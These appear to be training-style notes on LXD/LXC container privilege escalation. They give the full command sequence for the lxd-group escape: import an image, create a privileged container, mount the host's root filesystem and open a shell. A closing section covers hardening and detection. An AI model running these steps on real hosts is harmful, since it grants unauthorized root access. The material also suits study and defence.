LXC Privilege Escalation Techniques

Check Group Membership

Check if the user is part of the lxd group, which may allow container escapes.

id

List Available LXC Images

View available LXC images for deployment.

lxc image list

List Available LXD Containers

Check running or existing LXD containers.

lxc list

Import a Vulnerable LXC Image

Import a vulnerable LXC image for privilege escalation.

lxc image import ubuntu-template.tar.xz --alias ubuntutemp

Initialize a Privileged LXC Container

Create a new privileged container that may allow access to the host.

lxc init ubuntutemp privesc -c security.privileged=true

Mount the Host's Root Filesystem into the Container

Bind the host's root filesystem inside the container.

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Start the LXC Container

lxc start privesc

Execute a Shell Inside the Container

Gain access to the container's shell.

lxc exec privesc /bin/bash

Access the Host's Root Filesystem from Inside the Container

ls -l /mnt/root

Mount Host Root to a Running Container

If a container is already running, mount the host's root filesystem dynamically.

lxc config device add <container_name> host-root disk source=/ path=/mnt/root recursive=true

Execute a Shell in an Existing Container

lxc exec <container_name> /bin/bash

Access the Host Root Filesystem

ls -l /mnt/root

Check If a Container is Privileged

Determine if a container is running with elevated privileges.

lxc config show <container_name> | grep security.privileged

List LXD Profiles

View existing LXD profiles that define container configurations.

lxc profile list

Show the Configuration of a Given LXD Profile

Inspect the configuration of a specific profile.

lxc profile show <profile_name>

Key Concepts:

• Containers vs. VMs: You correctly highlighted the difference between OS-level virtualization (containers) and hardware-level virtualization (VMs).

• LXC/LXD:

  • LXC: Application containers, sharing the host kernel.

  • LXD: System containers, running a complete OS.

• Privilege Escalation: The primary goal is to escape the container and gain root access on the host system.

• LXD Group: Membership in the lxd or lxc group is often a prerequisite for exploiting LXD.

• Vulnerable Templates: Pre-existing container templates with weak security configurations (e.g., no passwords, privileged settings) are often the attack vector.

• security.privileged=true: This is the critical setting that disables container isolation, allowing access to the host.

• Host Root Mounting: Mounting the host's root filesystem into the container allows direct access to host files.

Exploitation Steps (as described):

1. Check Group Membership: id

2. Locate Vulnerable Templates: ls in relevant directories.

3. Import the Image: lxc image import ubuntu-template.tar.xz --alias ubuntutemp

4. List Images: lxc image list

5. Initialize a Privileged Container: lxc init ubuntutemp privesc -c security.privileged=true

6. Mount Host Root: lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

7. Start the Container: lxc start privesc

8. Execute a Shell: lxc exec privesc /bin/bash

9. Access Host Files: ls -l /mnt/root

Important Considerations and Enhancements:

• Security Best Practices:

  • Avoid using privileged containers unless absolutely necessary.

  • Use strong passwords for container images.

  • Regularly update container images.

  • Implement proper access controls.

  • Use namespaces and cgroups to further isolate containers.

• Attack Vectors:

  • Besides vulnerable templates, other attack vectors include exploiting vulnerabilities in the LXD daemon itself or misconfigurations in container profiles.

  • Exploiting mounted volumes that are not the root directory.

• Capabilities: Container escape can also happen by abusing linux capabilities.

• Detection:

  • Monitor for unusual container activity.

  • Audit container configurations.

  • Use security tools to scan for vulnerabilities.

• Containerization Security:

  • Understanding container security is crucial in modern IT environments.

  • Tools like Docker Bench for Security and Lynis can help assess container security.

• Namespaces: Reinforce the importance of namespaces in container security.

• Cgroups: Reinforce the importance of Cgroups in container security.

• Real World Examples: Researching real world container escapes will help solidify understanding of the attack vectors.

• LXD profiles: Understanding how LXD profiles work, and how they can be misconfigured is very important.